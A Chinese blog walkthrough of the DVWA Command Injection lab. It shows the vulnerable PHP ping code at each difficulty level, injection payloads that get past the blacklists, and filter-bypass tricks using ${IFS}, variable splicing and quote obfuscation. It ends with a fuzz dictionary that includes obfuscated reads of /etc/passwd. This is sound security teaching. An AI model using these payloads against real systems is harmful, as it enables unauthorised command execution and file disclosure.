DVWA可以输哪些Linux命令,【DVWA】Command Injection(命令注入)通关教程

日期:2019-08-01 16:05:34

更新:

作者:Bay0net

介绍:利用命令注入,来复习了一下绕过过滤的方法,还可以写一个字典来 fuzz 命令注入的点。

0x01、 漏洞介绍

仅仅需要输入数据的场合,却伴随着数据同时输入了恶意代码,而装载数据的系统对此并未设计良好的过滤过程,导致恶意代码也一并执行,最终导致信息泄露或者正常数据的破坏。

用户的一切输入都是不可信的。

0x02、Low Security Level

查看源码

if( isset( $_POST[ 'Submit' ] ) ) {

// Get input

$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.

if( stristr( php_uname( 's' ), 'Windows NT' ) ) {

// Windows

$cmd = shell_exec( 'ping ' . $target );

}

else {

// *nix

$cmd = shell_exec( 'ping -c 4 ' . $target );

}

// Feedback for the end user

echo "

{$cmd}
";

}

?>

分析代码

获取 IP 的值,直接传参使用 shell_exec 执行。

Windows 的话执行 ping 命令。

linux 的话,执行 ping -c 4 命令。

payload 如下,关于管道符的相关命令,见文末。

127.0.0.1;ifconfig

127.0.0.1&ifconfig

127.0.0.1&&ifconfig

127.0.0.1|ifconfig

x||ifconfig

0x03、Medium Security Level

查看源码

if( isset( $_POST[ 'Submit' ] ) ) {

// Get input

$target = $_REQUEST[ 'ip' ];

// Set blacklist

$substitutions = array(

'&&' => '',

';' => '',

);

// Remove any of the charactars in the array (blacklist).

$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.

if( stristr( php_uname( 's' ), 'Windows NT' ) ) {

// Windows

$cmd = shell_exec( 'ping ' . $target );

}

else {

// *nix

$cmd = shell_exec( 'ping -c 4 ' . $target );

}

// Feedback for the end user

echo "

{$cmd}
";

}

?>

分析源码

过滤了 && 和 ;,用其他的可以继续执行。

0x04、High Security Level

查看源码

if( isset( $_POST[ 'Submit' ] ) ) {

// Get input

$target = trim($_REQUEST[ 'ip' ]);

// Set blacklist

$substitutions = array(

'&' => '',

';' => '',

'| ' => '',

'-' => '',

'$' => '',

'(' => '',

')' => '',

'`' => '',

'||' => '',

);

// Remove any of the charactars in the array (blacklist).

$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.

if( stristr( php_uname( 's' ), 'Windows NT' ) ) {

// Windows

$cmd = shell_exec( 'ping ' . $target );

}

else {

// *nix

$cmd = shell_exec( 'ping -c 4 ' . $target );

}

// Feedback for the end user

echo "

{$cmd}
";

}

?>

分析源码

过滤的是 |,有个空格,所以可以使用不带空格的 payload 。

127.0.0.1|ifconfig

0x05、Impossible Security Level

查看源码

if( isset( $_POST[ 'Submit' ] ) ) {

// Check Anti-CSRF token

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input

$target = $_REQUEST[ 'ip' ];

$target = stripslashes( $target );

// Split the IP into 4 octects

$octet = explode( ".", $target );

// Check IF each octet is an integer

if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {

// If all 4 octets are int's put the IP back together.

$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

// Determine OS and execute the ping command.

if( stristr( php_uname( 's' ), 'Windows NT' ) ) {

// Windows

$cmd = shell_exec( 'ping ' . $target );

}

else {

// *nix

$cmd = shell_exec( 'ping -c 4 ' . $target );

}

// Feedback for the end user

echo "

{$cmd}
";

}

else {

// Ops. Let the user name theres a mistake

echo '

ERROR: You have entered an invalid IP.
';

}

}

// Generate Anti-CSRF token

generateSessionToken();

?>

分析源码

使用 user_token,来过滤请求

把传来的参数分割(以.为分隔符),如果分割出来的东西,不是数字,就报错。

没想到有什么办法能绕过,可能真的是 impossible 的了。。

0x06、相关知识

关于管道符

linux 中的管道符

# & 表示任务在后台执行,如要在后台运行 redis-server

redis-server &

# && 表示前一条命令执行成功时,才执行后一条命令 ,如

echo '1' && echo '2'

# | 表示管道,上一条命令的输出,作为下一条命令参数,如

echo 'yes' | wc -l

# || 表示上一条命令执行失败后,才执行下一条命令,如

cat nofile || echo "fail"

关于绕过(空格、拼接、单双引号)

绕过空格

利用 < 来绕过,只能读文件

cat

cat<>flag

利用 ${IFS} 绕过

ls${IFS}./tmp

cat${IFS}/tmp/1.txt

利用 $IFS$9、${IFS}$9 也可以绕过,和上面的一样

拼接绕过

ls 的变形

a=l;b=s;$a$b

uname -a 的变形

a=una;b=me$IFS$9-a;$a$b

cat /tmp/flag

a=ca;b=t$IFS$9/tm;c=p/fla;d=g.txt;$a$b$c$d

单双引号反斜杠

c''at fl""ag

c\at fl\ag

对应

${PS2} 对应字符 ‘>’

${PS4} 对应字符 ‘+’

${IFS} 对应 内部字段分隔符

${9} 对应 空字符串

fuzz 字典

&ifconfig

&&ifconfig

&&&ifconfig

&&&&ifconfig

|ifconfig

||ifconfig

|||ifconfig

||||ifconfig

;ifconfig

;;ifconfig

& ifconfig

&& ifconfig

| ifconfig

|| ifconfig

; ifconfig

&${IFS}ifconfig

&&${IFS}ifconfig

|${IFS}ifconfig

||${IFS}ifconfig

;${IFS}ifconfig

a=if;b=config;$a$b

a=una;b=me$IFS$9-a;$a$b

c\at /et\c/pa\sswd

c''at /e""tc/pas""swd

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值